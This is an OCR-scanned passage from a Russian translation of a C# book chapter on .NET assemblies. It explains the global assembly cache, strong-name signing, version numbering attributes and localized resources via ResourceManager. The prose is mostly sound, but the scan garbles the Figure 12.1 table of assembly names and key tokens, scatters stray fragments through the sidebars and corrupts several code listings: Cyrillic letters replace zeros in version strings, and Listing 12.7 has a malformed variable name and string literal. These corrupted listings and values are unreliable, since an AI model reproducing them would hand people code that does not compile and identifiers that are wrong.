Сборки язык никак не связан с процессором, если вы'используете особенности совместимости, описанные в главе 21, ваш код окажется зависим от ком- понентов, не являющихся частью фреймворка .NET, которые могут быть доступны только, скажем, 32-битным процессам.) Системы с 64-раз- рядными процессорами поддерживают одновременно 32-разрядные и64-разрядные процессы, поэтому в глобальном кэше сборок вы можете найти каталоги, которые называются GAC 32, GAC_64 и GAC_MSIL — в последнем содержатся сборки, независимые от архитектуры. В каждом из этих каталогов вы найдете подкаталоги с сокращенным названием каждого компонента (например, System.Core или System.Data), а вну- три них будут созданы папки для каждой отдельной версии компонента. В этих каталогах низшего уровня вы и найдете сборку. Assembly Name / Version Culture Public Key Token Processor Architecture Accessibility Accessibility 1JO3OOOJO 2j0j0j0 bO3f5f7flld5Oa3a bO3f5f7flld5Oa3a MSIL Aadodb ^bAuditPolicyGPManagedStubsJnterop 7JD3300JD 61DJ0 bO3f5f7flld5Oa3a 31bf3856ad364e35 x86 ^JAuditPoficyGPManagedStubsJntefop 6-IjDjD 31M3856ad364e35 AMD64 ^BDATunePlA 6-IjDjD 31bf3856ad364e35 x86 ^BDATunePIA 61JOJO 31bf3856ad364e35 AMD64 4 ComSvcConfig 3j0j0j0 b03f5f7flld50a3a MSB. 4 CppCodeProvider 8j0j0j0 bO3f5f7fUd5Oa3a MSB. ACRVsPackageGb 1O537OOJD 692fbea5521el304 MSB. 4 Crysta©ecisions.CrystaJReportsJ) esign 1053700J0 1ft C □Tftftft 692fbea5521el304 ИПЛ-.СС'М -1-ЗЛЛ MSB. 1 ДСП Рис. 12.1. Глобальный кэш сборок, отображаемый в проводнике Windows Не полагайтесь именно на эту структуру глобального кэша сборок. О ней полезно знать, поскольку она дает некоторое представление, как GAC хранит несколько версий одного компонента, а также она помога- ет понять, что означают пути к файлам, указанные в отладчике. Однако реализация кэша сборок может меняться с течением времени. Если вы хотите установить что-то в глобальный кэш сборок, никогда не копируй- те в него файлы напрямую. Вам следует использовать либо механизмы, предоставляемые установщиком Windows, либо инструмент команд- ной строки gacutil, поставляемый вместе с .NET SDK. Этот инструмент может также выводить на экран список содержимого GAC и удалять сборки. Убедитесь в том, что выбрали правильный вариант — версия 4 и выше используют текущее расположение глобального кэша сборок, в то время как в случае ранних версий — более старый каталог. Среда выполнения CLR предпочитает загружать сборки из GAC, она всегда ищет их там в первую очередь, когда есть такая возможность. Та- 649
Глава 12 I ким образом, даже если вы собирались поставлять вместе с вашим при- ложением системную DLL, вам не нужно больше этого делать - среда выполнения просто найдет ее копию в глобальном кэше сборок и никог- да не попытается зондировать каталог вашего приложения на наличие данной сборки. Вам, наверное, интересно, почему журнал Fusion, продемонстриро- ванный ранее, не хранит никаких свидетельств о наличии глобального кэша сборок; возможно, вы ожидали увидеть запись в журнале, которая говорит о том, что среда выполнения не сумела найти компонент в GAC. Фактически среда выполнения даже не проверяла этот каталог - не все компоненты могут быть сохранены в глобальном кэше сборок. Они должны иметь гарантированно однозначные имена во избежание слу- чайной загрузки совершенно другой DLL, которая случайно будет но- сить то же имя. Имена сборок Имена сборок имеют структурированный вид. Они всегда включа- ют простое имя, с помощью которого вы ссылаетесь на DLL, например mscorlib или System.Core. Такое имя обычно совпадает с именем файла, но не имеет расширения. Последнее правило не обязательно должно вы- полняться, но механизм зондирования подразумевает это и не сработает, если имена не будут совпадать*. Имена сборок всегда включают номер версии. Существуют также дополнительные компоненты, например, маркер открытого ключа, который необходимо указать, если вы хотите создать уникальное имя. Строгие имена Если имя сборки включает в себя маркер открытого ключа, оно на- зывается строгим именем. Строгие имена имеют две особенности: они делают имя сборки уникальным и обеспечивают некоторую уверен- ность в том, что сборка не изменена, хотя надежность определения из- менений зависит только от того, насколько аккуратен автор компонен- * Вы можете предоставить распознавателю сборок информацию о конфигурации, предписывающую применять конкретный URL, по которому следует загружать сборку, либо просто использовать метод Assembly. LoadFrom. Так что, если вы действительно хоти- те, чтобы простое имя отличалось от имени файла — все в ваших руках, но работать будет проще, если эти имена совпадут. 650
Сборки та. В ряде случаев строгое имя будет гарантировать уникальность, но не более того. Как предполагает терминология, маркер открытого ключа имени сборки имеет связь с криптографией. Ключ — шестнадцатеричное пред- ставление 64-разрядного хэша открытого ключа. Сборки со строгим именем должны содержать копию полного открытого ключа, из кото- рого был сгенерирован хэш, и также они должны содержать цифровую подпись, сгенерированную с помощью соответствующего закрытого ключа. (Эта книга не предполагает рассмотрения принципов асимме- тричного шифрования. Если вы незнакомы с ними, вот вам краткая справка. Строгие имена используют алгоритм шифрования RSA, кото- рый работает с парой ключей: открытым и секретным. Сообщения, за- шифрованные с помощью открытого ключа, расшифровываются только с помощью закрытого, и наоборот. Этот алгоритм можно использовать для формирования цифровой подписи сборки: вычислить хэш содер- жимого сборки, а затем зашифровать его с помощью закрытого ключа. Действительность подписи может проверить любой, кто имеет доступ к открытому ключу — он может как самостоятельно вычислить хэш со- держимого сборки, так и расшифровать вашу подпись с помощью от- крытого ключа; результат должен совпасть. Математика подобного вида шифрования такова, что, по сути, невозможно создать правдоподобную подпись без доступа в закрытому ключу, а также невозможно изменить сборку, не затронув хэш. В криптографии «невозможно» означает «тео- ретически возможно, но для этого потребуется слишком много вычис- лений».) Уникальность строгого имени опирается на тот факт, что системы генерации ключей используют криптографически безопасные генерато- ры случайных чисел, и шансы того, что два человека сгенерируют две пары ключей с тем же маркером открытого ключа, стремятся к нулю. То, что сборка не подделана, гарантируется необходимостью подписи у сбо- рок со строгим именем — только тот, кто имеет закрытый ключ, может сгенерировать правильную подпись. Любая попытка изменить сборку после ее подписания сделает подпись недействительной. Г~~1 Подпись, связанная со строгим именем, не зависит от меха- 'МЙО низма операционной системы Windows, который называется I---- Authenticode и предназначен для подписывания кода. Они слу- жат разным целям. Authenticode обеспечивает отслеживае- мость, поскольку открытый ключ оборачивается в сертификат, 651
Глава 12 который сообщает вам какую-то информацию о происхожде- нии кода. Маркер открытого ключа строгого имени предо- ставляет вам только число, поэтому, если вы лично не знаете автора сборки, оно не скажет вам ни о чем. Authenticode по- зволяет получить ответ на вопрос: «Откуда появился данный компонент?» Маркер открытого ключа позволяет сказать: «Это компонент, который мне нужен». Компоненты .NET зачастую подписываются с помощью обоих механизмов. (Компонен- ты библиотеки классов фреймворка .NET имеют как строгие имена, так и имена с подписью Authenticode.) Конечно, подпись может дать какую-то уверенность, только если за- крытый ключ действительно остается закрытым ото всех. Если он стано- вится общедоступным, любой желающий оказывается способен генери- ровать корректные сборки используя соответствующий маркер ключа. Как это часто бывает, авторы некоторых проектов с открытым кодом намеренно публикуют полную пару ключей, полностью отказываясь от безопасности, которую мог бы обеспечить им маркер ключа. Они дела- ют это с той целью, чтобы любой желающий имел возможность собрать компоненты из исходного кода. Вы, наверное, спросите, а зачем тогда стоит возиться со строгим именем — в любом случае полезно иметь уни- кальное имя, даже если оно не гарантирует подлинности. См. врезку «Использование ключей строгого имени» для получения информации о работе с ключами. Использование ключей строгого имени Если вы считаете, что ваша сборка нуждается в строгом имени, вам следует принять некоторые решения. Заботитесь ли вы о со- хранении закрытого ключа в тайне или просто хотите, чтобы сборка имела уникальное имя? Если вы желаете сохранить ключ в тайне, в какой момент в процессе построения проекта вы будете подписы- вать сборку? Должен ли ваш сервер автоматизированного построе- ния проектов подписывать каждую сборку или же предполагается утверждение процесса выпуска приложения, во время которого бу- дет применяться подпись? Какие физические меры безопасности вы предпримете для защиты машин, в памяти которых содержатся копии ключа? Будете ли вы подключать их к сети? Какие меры вы предпримете, чтобы обеспечить сохранение ключей в случае аппа- ратных сбоев? Как поступать отдельным разработчикам, если они не имеют закрытого ключа? Должны ли они быть в состоянии по- 652
Сборки строить и запустить код и следует ли им подписывать все, что ком- пилируется? Существуют три популярных подхода к строгим именам. Самый простой заключается в использовании реальных имен на протяже- нии всего процесса создания и копирования открытого и закрытого ключей на машины всех разработчиков, чтобы они могли подписы- вать сборки каждый раз, когда выполняют построение проекта. Фай- лы ключей можно добавить в систему управления версиями, чтобы разработчики получали их автоматически. Этот подход пригодится лишь тогда, когда вы не заботитесь о том, чтобы держать закрытый ключ в тайне, поскольку разработчики легко могут пренебречь се- кретностью по неосторожности либо намеренно. Еще один подход заключается в использовании другого набора клю- чей в процессе разработки и в переключении на реальные имена сборок только в случае с полностью законченными компонентами. Такой подход позволяет уменьшить количество проблем безопасно- сти, но может привести в замешательство, поскольку разработчики будут в конечном итоге работать с двумя наборами компонентов на своих машинах, один из которых будет содержать временные име- на, а другой — реальные. Третий подход — использование реальных имен на протяжении всего времени разработки с применением механизма отложенного подписывания вместо того, чтобы каждый раз подписывать прило- жение при компиляции. Такой подход приводит в созданию строгих имен сборки, однако место, отведенное для подписи, будет пусто- вать. Любая проверка подписи потерпит неудачу. Например, вы по- лучите сообщение об ошибке при попытке добавить эти компоненты в глобальный кэш сборок. Однако достаточно настроить отдельные машины так, чтобы они игнорировали недействительные подписи некоторых сборок. Разработчики могут сделать это частью настрой- ки среды, чтобы быть в состоянии создавать любые сборки с отло- женной подписью так, словно те подписаны правильно. Вы, вероятно, спросите, почему не описан четвертый подход — во- обще не использовать строгие имена в ходе разработки, а переклю- читься на них только при создании финальной версии. Дело в том, что строго именованные сборки не всегда способны заменить слабо именованные, поскольку среда выполнения CLR обрабатывает их по-разному. Например, вы не можете поместить слабо именован- ные сборки в глобальный кэш сборок, а кроме того, CLR по-разному обрабатывает систему версий. Вы можете создать файл ключа для строгого имени из командной строки с помощью инструмента sn (от англ, strong name — строгое имя). Кроме того, вы можете создать его на вкладке Signing (Под- 653
Глава 12 пись) в свойствах проекта в среде разработки Visual Studio и там же включить режим отложенного подписывания. Однако Visual Studio не позволяет создать версию файла ключа, которая содержала бы только открытый ключ — такой файл позволяет добиться отложен- ного подписывания. Весь смысл отложенного подписывания заклю- чается в том, что разработчики получают возможность работать, не нуждаясь в копии секретного ключа. Используйте инструментал, передав в него параметр -р, чтобы извлечь в отдельный файл только открытый ключ, и после этого вы сможете свободно его распростра- нять. Вам также понадобится использовать утилиту sn, передав ей параметр -R, чтобы применить реальную подпись на том этапе про- цесса разработки, когда вы решите сделать это. В некоторых случаях платформа .NET Framework не проверяет под- пись, относящуюся к сильному имени. Это происходит, если код запу- скается из надежного расположения (например, из большинства папок на локальном жестком диске). Причина такого поведения заключается в том, что если вредоносная третья сторона способна довести ваш ком- пьютер до состояния, когда она может изменять исполняемые файлы на вашем жестком диске, то она с легкостью обойдет механизм обнаруже- ния изменения строгих имен, просто задав новое строгое имя или уда- лив его полностью. Рассмотрим программу, установленную в каталоге Program Files. Она защищена посредством списка контроля доступа, то есть вы должны иметь права администратора, чтобы изменять содержа- щиеся здесь файлы. Если злоумышленник получит права администра- тора на вашем компьютере, все проверки прекратятся. Проверка стро- гого имени может только предположительно обнаруживать проблемы в ситуациях, когда компьютер уже подвергся вредоносному воздей- ствию, так что в этом случае она не поможет. А проверка подписи прохо- дит медленно — она требует от среды выполнения CLR считать каждый байт с диска до запуска приложения, что значительно увеличивает вре- мя загрузки программы. Потому в ситуациях, когда проверка подписей ничем не поможет, среда выполнения CLR пропускает ее. Однако среда в любом случае будет проверять подписи сборок со строгими именами, которые загружены из ненадежных внешних источников, таких как сеть Интернет. Компания Microsoft предпринимает кое-какие меры, чтобы обеспе- чить конфиденциальность закрытых ключей, используемых для стро- гих имен. У большинства сборок библиотеки классов вы увидите один 654
Сборки и тот же маркер ключа. Давайте рассмотрим полное название mscorlib, системной сборки, от которой зависит весь код .NET: mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Кстати, это имя верно и для версии .NET 4.5. Компания Microsoft не всегда обновляет номер версии в названиях библиотек компонентов одновременно с маркетинговой версией номера — даже основной но- мер версии не обязательно должен совпадать. Например, версия сборки mscorlib, присутствующая во фреймворке .NET 3.5, имеет номер 2.О.О.О. В журнале подсистемы Fusion, продемонстрированном ранее, прак- тически все открытые маркеры ключа были равны нулю, за исключе- нием маркера ключа сборки mscorlib. Любая сборка, предоставляющая маркер открытого ключа (то есть со строгим именем) может быть разме- щена в глобальном кэше сборок, потому что она не создает неоднознач- ности. Без маркера открытого ключа среда выполнения CLR не сможет понять, нужна вам сборка Utils.dll, расположенная в глобальном кэше сборок, либо какой-то другой компонент, который совершенно случай- но имеет абсолютно такое же простое имя. Присутствие маркера откры- того ключа решает эту проблему. Если вы не планируете помещать компонент в глобальный кэш сборок, давать ему строгое имя не нужно. Если вы расположили копию компонен- та, который требуется вашему приложению, в том же каталоге, среда вы- полнения сделает вывод, что это необходимая вашему приложению сбор- ка. Глобальный кэш сборок требует указания строгих имен, потому что он является общим ресурсом, в отличие от вашего каталога установки. В то время как маркер открытого ключа — необязательная часть имени сборки, номер версии необходим. Номер версии Все имена сборок включают в себя номер версии, состоящий из че- тырех частей. Когда имя сборки представлено в виде строки (например, в журнале подсистемы Fusion либо при передаче имени как аргумента в метод Assembly.Load), номер версии состоит из четырех десятичных чисел, разделенных точками (например, 4.0.0.0). Двоичный формат, ко- торый используется промежуточным языком для имен сборок и ссылок, ограничивает диапазон этих цифр, каждая часть должна поместиться 655
Глава 12 в 16-битное целое беззнаковое число (такой тип называется ushort), а наибольшее допустимое значение должно быть равно максимальному числу минус один, в результате чего максимальный номер версии будет равен 65534.65534.65534.65534. Каждая из четырех частей имеет собственное имя. Слева направо они называются «основная версия», «промежуточная версия», «сборка» и «ревизия». Впрочем, это не имеет особого значения. Некоторые разра- ботчики используют определенные соглашения, но их никто не застав- ляет так делать и не проверяет факт следования соглашениям. Широко распространено, что любое изменение открытого API требует увеличе- ния номера основой или промежуточной версии, а изменение, которое может сломать имеющуюся модель программы, должно сопровождаться изменением номера основной версии (маркетинг — еще одна популяр- ная причина изменения номера основной версии). Если обновление не создает видимых изменений в поведении программы (за исключением, пожалуй, исправления ошибок), достаточно увеличить только номер сборки. Номера ревизии могут быть использованы для различения двух компонентов, которые, как вы считаете, были созданы из одного и того же исходного кода, но в разное время. Кроме того, кое-кто связывает номер версии с номером ветки в системе управления версиями, так что изменение только номера ревизии указывает на то, что был создан патч для компонента, для которого уже давно не выпускались значительные обновления. Тем не менее вы можете свободно менять номер версии с соответствии с собственными предпочтениями. Поскольку среда вы- полнения CLR заинтересована в сохранении его неизменным, с номе- ром версии можно сделать только одно — сравнить его с другим. Номера версий, указанные в именах сборок библиотеки клас- 4 * сов фреймворка .NET, игнорируют все соглашения, которые 3*5я только что описал. Большинство компонентов имеет оди- наковый номер версии (2.0.0.0) в четырех основных версиях фреймворка (2.0, 3.0, 3.5 и 3.5 SP1 — несмотря на невнуши- тельное название, последняя версия представляет собой крупный релиз со значительными изменениями функциональ- ности). Начиная с версии .NET 4.0, все номера версий изме- нились на 4.0.0.0, это верно и для фреймворка .NET 4.5. Вы указываете номер версии, используя атрибут уровня сборки. Эта тема более подробно будет раскрыта в главе 15, но данный атрибут до- 656
Сборки вольно примитивен. Если вы заглянете в^файл Assemblylnfo.es, который среда разработки Visual Studio добавляет к большинству проектов (он на- ходится внутри узла Properties (Свойства) на панели Solution Explorer (Обозреватель решений)), то увидите различные атрибуты, описываю- щие сборку более детально, в том числе и атрибут Assemblyversion, что показано в листинге 12.3. Листинг 12.3. Задание номера версии сборки [assembly: AssemblyVersion("1.О.О.О") ] Компилятор C# обеспечивает особый способ его обработки — он не применяется вслепую, как большинство атрибутов. Компилятор анали- зирует предоставленный номер версии и внедряет его указанным фор- матом метаданных .NET способом. Он также выполняет проверку соот- ветствия строки заданному формату и нахождения чисел в диапазоне. Вы можете использовать альтернативную форму записи номера версии, продемонстрированную в листинге 12.4, где последние две части заме- нены звездочкой (*). Кроме того, вы можете заменить звездочкой толь- ко заключительную часть с указанием остальных трех в явном виде. Листинг 12.4. Генерация частичного номера версии [assembly: Assemblyversion ("1.0. *") ] Звездочка заставляет компилятор создавать части версии за вас. Если вы позволите ему сгенерировать третью часть номера версии, она будет равна числу дней, прошедших с 1 февраля 2000 года. Эта дата не имеет особого значения, из нее просто следует, что завтрашние версии сборок будут иметь больший номер версии, нежели сегодняшние (пред- полагается, что на всех компьютерах, используемых при сборке, установ- лена корректная дата, и все они расположены в одном и том же часовом поясе). В документации утверждается, что, если вы позволите компиля- тору сгенерировать четвертую часть, он будет использовать случайное значение. Проверка на практике говорит об обратном — больше похоже, что это число представляет собой количество секунд, прошедших с по- луночи, деленное на два — то есть на любом компьютере, пока не из- меняется время, при каждой компиляции будет получен более высокий номер версии, чем в прошлый раз. Автоматически сгенерированные номера версий устанавливались по умолчанию для большинства шаблонов проектов .NET, но среда раз- работки Visual Studio 2008 изменила его на жестко заданное значение 657
Глава 12 1.0.0.0. Проблема с автоматической генерацией номеров версий заклю- чается в том, что процесс сборки становится неповторяемым — каждый раз вы будете получать версии с различными номерами. А поскольку но- мер версии является важной частью названия, это рано или поздно при- ведет к проблемам — вы можете выпустить сборку, где были исправлены некоторые ошибки, а впоследствии узнать, что приложение перестает работать только потому, что данные сборки построены для программы с другим номером версии — и среда выполнения CLR не способна най- ти компоненты с указанной версией. (Иногда случается и более ковар- ная проблема: вы можете выпустить обновление сборки, исправляющее ошибку, но существующие компоненты продолжат использовать старую версию, потому что обе будут в глобальном кэше сборок, и среда вы- полнения CLR станет предоставлять ту, которую запрашивает приложе- ние.) На практике довольно часто можно установить два младших раз- ряда в 0. Если вы создаете сборку, которая станет заменой для другого компонента, лучше не изменять номер версии, если же сборка не станет заменой для другой, вы, вероятно, захотите изменить либо основной, либо промежуточный номер версии. Кстати говоря, номер версии, который является частью имени сбор- ки, отличается от того, что сохраняется с использованием стандартного механизма Win32, применяемого для встраивания версий. Большин- ство файлов .NET содержит оба вида номеров версий. Обычно номер версии файла меняется. Например, несмотря на то что большинство файлов в библиотеке классов фреймворка .NET имеют номер версии 4.0.0.0 в двух версиях фреймворка (.NET 4.0 и .NET 4.5), если вы обра- тите внимание на информацию о файле, используемую в Windows, вы, скорее всего, увидите кое-что другое. Основной и вспомогательный но- мера версий обычно совпадают, а номера версий сборки и редакции, как правило, нет. На компьютере, где установлен фреймворк .NET 4.0 SP1, файл mscorlib.dll имеет номер версии 4.0.30319.239, но если у вас уста- новлен фреймворк .NET 4.5, он равен 4.0.30319.17929. По мере появле- ния новых дополнений и прочих обновлений последняя часть номера версии будет продолжать расти. Поскольку глобальный кэш сборок может содержать несколь- 4ч ко версий одной сборки, которые в противном случае будут 3*5 иметь одинаковые имена, вы, вероятно, удивитесь, заметив, что во фреймворке .NET 4.5 файл mscorlib.dll заменен другим файлом, имеющим такой же номер версии в имени сборки. 658
Сборки Вы могли бы ожидать, что библиотека версии 4.5 будет уста- новлена вместе с библиотекой 4.0, и нужная версия фрейм- ворка .NET станет загружаться в зависимости от того, для какой его версии было скомпилировано приложение (версии библиотек 2.0 и 4.0 сосуществуют именно так). Однако подоб- ное не может произойти, поскольку у обеих версий одно на- звание, а фреймворки .NET 4.0 и .NET 4.5 имеют одинаковые глобальные кэши сборок. Но почему две версии используют одно и то же имя? Почему версия 4.5 не может иметь другой номер в имени сборки, такой как 4.5.0.0? Это невозможно, по- скольку версия .NET 4.5 является заменой версии 4.0. В ней добавляются новые фрагменты и модифицируются многие уже существующие (.NET 3.0 и 3.5 были точно такими же за- менами версии 2.0.) Не все новые версии, служащие для це- лей маркетинга, являются принципиально новыми версиями фреймворка .NET. Версию файла Windows вы можете установить с помощью другого атрибута, который обрабатывается компилятором особым образом, его применение показано в листинге 12.5. Он обычно находится в файле Assemblylnfo.es, хотя и не всегда. Этот атрибут заставляет компилятор встраивать Win32-BepcHio файла ресурса, такой номер версии пользо- ватели увидят, если нажмут правой кнопкой мыши на сборку в прово- днике Windows и просмотрят свойства файла. Листинг 12.5. Установка версии для файла Windows [assembly: AssemblyFileVersion("1.О.312.2") ] Атрибут AssemblyFileVersion — это, как правило, более подходящее место для размещения номера версии, идентифицирующего проис- хождение сборки, нежели атрибут Assemblyversion. Последний, скорее, подходит для описания версии API, и любые обновления, которые были разработаны с учетом полной обратной совместимости, должны остав- лять его без изменений и изменять только атрибут AssemblyFileVersion. Компания Microsoft делает решительное заявление о своих намерениях, оставляя неизменным атрибут Assemblyversion для сборок библиотеки классов в версиях 4.0 и 4.5; цель заключается в том, что любое прило- жение, которое поддерживает фреймворк .NET 4.0, должно быть в со- стоянии корректно работать с фреймворком .NET 4.5 без модификаций. Чтобы увидеть, какая версия фреймворка установлена у вас, просмо- трите атрибут AssemblyFileVersion. 659
Глава 12 Номер версии и загрузка сборок Поскольку номера версий — часть имени сборки (и, следователь- но, ее'идентификатора), то они также являются частью идентифика- тора типа. Тип System. String, расположенный в сборке mscorlib версии 2.0.0.0, — это не то же самое, что одноименный тип, расположенный в сборке mscorlib версии 4.О.О.О. При загрузке сборки со строгим именем (неявно, с помощью определяемого ею типа, либо явно, с помощью ме- тода Assembly.Load) среда выполнения CLR потребует передачи номер? версии, чтобы установить точное соответствие*. Если сборка не имеет строгого имени, CLR не станет заботиться о проверке номера версии — если при зондировании обнаружится сбор- ка с соответствующим простым именем, она и будет использована. Если компонент не имеет строгого имени, единственное, что заставит среду выполнения CLR думать, что она предоставляет вам правильную сбор-1 ку, — это тот факт, что вы скопировали файл в каталог приложения^ Было бы странным, если бы среда выполнения старательно проверяла номер версии, не имея никакой возможности выяснить, не передали ли ей правильную версию совершенно неподходящего файла. (Представь- те, что вы пошли в кинотеатр на фильм «Крестный отец: часть 2», а вам показали «Секс в большом городе 2». Вы наверняка будете обескура- жены, если руководство кинотеатра станет оправдывать свой поступои тем, что фильмы одинаковые, поскольку оба имеют версию 2.) При указании строгого имени сборки среда выполнения CLR будя использовать компонент, расположенный в глобальном кэше сборок, если только там есть сборка с точно такой же версией. В противном слу- чае CLR попробует найти копию компонента в каталоге или подкаталоге приложения. Механизм зондирования будет пытаться загрузить первый найденный файл с правильным именем и в случае неправильной версия файла остановится и сообщит об ошибке — поиск на этом прервется. Вам следует знать, что «правильные» версии сборок не обязательна будут теми сборками, которые вы запросили, и в особенности это ка- сается типов библиотек классов во фреймворке .NET, где применяется смесь старых и новых сборок. Например, если вы напишете DLL для .NET 2.0, приложение, построенное для версии фреймворка .NET 4.0, * Можно настроить среду рыцолнения CLR, заменив какую-то конкретную версию^ но даже в этом случае замена должна иметь точную версию, определенную в конфигу- рации. 660
Сборки все еще сможет использовать ваш компонент. В вашем коде в таком случае будет содержать ссылки на версии 2.0 всех сборок библиотеки классов фреймворка .NET, но среда выполнения CLR автоматически предоставит вам версии 4.0. Конечно, она может загрузить копии всех сборок фреймворка версии 2.0, но это вызовет множество проблем. Пре- жде всего, ряд критических сборок системы (например, mscorlib) про- сто не станет работать в другой версии CLR, отличающейся о той, для которой были построены. Во-вторых, даже если бы вы смогли загрузить несколько копий mscorlib, создание различных версий широко исполь- зуемых типов в разных частях приложения не принесет никакой поль- зы — если ваш компонент работает с версией 2.0 класса string, ни одна из строк не будет признана пригодной для применения в приложении, поскольку оно ожидает строки версии 4.0. В-третьих, даже в ситуациях, несвязанных с критическими типами (такими как string), пусть и пер- вые две описанные проблемы и не возникнут, все еще будет достаточно проблематично загрузить старые версии сборок, потому что другой код того же процесса может использовать более новые версии, и в конечном итоге это с шансами приведет к одновременной загрузке нескольких версий фреймворков, таких как, например, WPF или ASP.NET, которые будут мешать друг другу, считая, что отвечают за задачи всего процесса. Также иногда случается и такая проблема: ваш компонент может реали- зовать версию 2.0 некоторого интерфейса, и хотя в версии 4.0 ничего не изменились, различные идентификаторы типов станут причиной того, что среда выполнения CLR будет рассматривать версию 2.0 интерфейса INotif yPropertyChanged (или любого другого) как тип, отличающийся от версии 4.0 того же интерфейса. Из загрузки нескольких версий одина- ковых компонентов в одном процессе, скорее всего, ничего хорошего не выйдет, поэтому среда выполнения CLR проводит политику унифика- ции сборок библиотеки классов фреймворка, чтобы избежать подобных проблем. Независимо от того, для какой версии фреймворка .NET был скомпилирован ваш компонент, он получит версию, выбранную при за- пуске приложения. Кстати, вы никогда не будете использовать более старую вер- * * сию среды выполнения CLR. Если ваша DLL была построена ЪУс помощью фреймворка .NET 4.5, любая попытка загрузить его с помощью, например, фреймворка .NET 3.5 просто не сработает. Политика унификации позволяет запускаться толь- ко более старшим версиям библиотек DLL на новой версии платформы. 661
Глава 12 Культура До этого момента вы видели, что имена сборок включают в себя щх> стое имя, номер версии, и, по возможности, маркер открытого ключа. Они также имеют компонент «культура». Он обязателен, хотя наиболее распространенное его значение — neutral. Значение атрибута culture, как правило, устанавливается для некоторых сборок, содержащих ре- сурсы, специфические для какой-либо культуры. Культура, указанная в названии сборки, предназначена для поддержки локализации ресур- сов, таких как изображения и строки. Чтобы продемонстрировать спо- соб применения этого атрибута необходимо объяснить механизм лока- лизации, который его использует. Все сборки способны содержать встроенные двоичные потоки. (Ко- нечно, вы можете поместить текст в этих потоках — просто вам следу- ет выбрать подходящую кодировку.) Класс Assembly, определенный в API-интерфейсе отражения, предоставляет возможность работать непосредственно с этими потоками, но чаще нужно использовать класс ResourceManager, расположенный в пространстве имен System.Resources. Это значительно более удобный способ работы с ресурсами, нежели простые двоичные потоки, потому что класс ResourceManager опреде- ляет контейнер формата, который позволяет одному потоку содержать любое количество строк, изображений, звуковых файлов и другой дво- ичной информации, а среда разработки Visual Studio имеет встроенный редактор для работы с этим контейнером формата. Причина, по которой я упоминаю все это в середине раздела, заключается в том, что класс ResourceManager также предоставляет поддержку локализации, и куль- тура, указанная в имени сборки, является частью данного механизма. Чтобы показать, как это работает, я приведу небольшой пример. Самый простой способ использования ResourceManager заключает-^ ся в добавлении файла ресурсов в формате .resx в ваш проект. (Данный формат не применяется во время выполнения. Это XML, который ком<| пилируется в двоичный формат, требуемый классом ResourceManager^ Среда разработки Visual Studio предоставляет редактор для такия файлов, с текстом работать гораздо проще, чем с двоичными данными любой системы контроля версий.) Для того чтобы добавить подобны^ ресурс с помощью диалогового окна Add New Item (Добавить новы^ элемент), выберите категорию Visual C# => General (Visual C# => Об- щие), а затем — пункт Resource File (Файл ресурсов). Рассматриваемы! в примере файл называется Му Resources.resx. Среда разработки Visual 662 ’
Сборки Studio отобразит редактор ресурсов, который открывается в режиме ре- дактирования строки, как показано на рис. 12.2. Как вы можете видеть, я определил одну строку с именем ColStrihg и значением Color. В Strings • 'ft Add Resource * X Remove Resource } ЕЗ ’ j Access Modifier: ^Internal Name ▲ Value Comment ColString Color * Рис. 12.2. Редактор файлов ресурсов в режиме редактирования строки Я могу извлечь это значение во время выполнения. Среда разработ- ки Visual Studio создает класс-обертку для каждого файла с расширени- ем .resx, который вы добавляете и который содержит статическое свой- ство для каждого ресурса, определенного таким образом. Это позволяет очень легко найти ресурс в виде строки, как показано в листинге 12.6. Листинг 12.6. Получение ресурса с помощью класса-оболочки string colText = MyResources.ColString; Класс-оболочка скрывает детали, что, как правило, удобно, но в этом случае именно из-за деталей я демонстрирую файл ресурсов, так что я непосредственно покажу использование класса ResourceManager в листинге 12.7. Я включаю в него весь исходный файл, поскольку про- странства имен здесь играют большую роль — среда разработки Visual Studio добавляет к имени встроенного ресурса название пространства имен проекта, заданного по умолчанию, поэтому я должен обращаться к классу ResourceExample.MyResources, а не просто MyResources (если б я разместил ресурсы в папке на панели Solution Explorer (Обозреватель решений), среда разработки Visual Studio также включила бы в имя по- тока ресурса название этой папки). Листинг 12.7. Получение ресурсов во время выполнения приложения using System; using System.Resources; namespace ResourceExample class Program
Глава 12 static void Main(string[] args) { var -rm = new ResourceManager( "ResourceExample.MyResources", typeof (Program) .Assembly); string colText = rm.GetString("ColString"); Console.WriteLine("And now in + colText); } } } Этот пример представляет собой довольно скучный способ получения строки Color. Однако теперь, когда используется класс ResourceManager, можно определить некоторые локализованные ресурсы. Поскольку я британец, у меня есть твердое мнение насчет правильного способа на- писания слова «color». Они не соответствуют редакционной политике издательства O’Reilly, и в любом случае я рад адаптировать свою рабо- ту для моих преимущественно американских читателей. Но програм- ма может сделать лучше — она должна быть в состоянии предоставить различные варианты написания для различных аудиторий. (И, забегая чуть-чуть вперед, скажу, что она должна быть способна менять язык для тех стран, в которых английский не является основным.) На самом деле моя программа уже содержит код, помогающий поддерживать локали- зованные варианты написания слова «color». Я просто должен предоста- вить ему альтернативный текст. Этого можно достичь путем добавления второго файла ресурсов^ имя которого тщательно подобрано: MyResources.en-GB.resx. Оно звучит практически так же, как и оригинал, за исключением приставки en-GB перед расширением .resx. Эта приставка — сокращение от Great Britain (Великобритания), она является названием культуры, определенной для моей страны (для англоязычной части США это будет en-US). Поместив такой файл в проект, я смогу добавить строку с точно таким же именем как и ранее, ColString, но на сей раз с правильным (согласно моему ме- стоположению*) значением — Colour. Если вы запустите приложение на компьютере, сконфигурированном так, что он использует британскую локаль, будет выбран британский вариант написания. Вполне вероят- но, что ваш компьютер не сконфигурирован подобным образом, так что если вы захотите поэкспериментировать с этим, можете добавить код * Лондон. 664
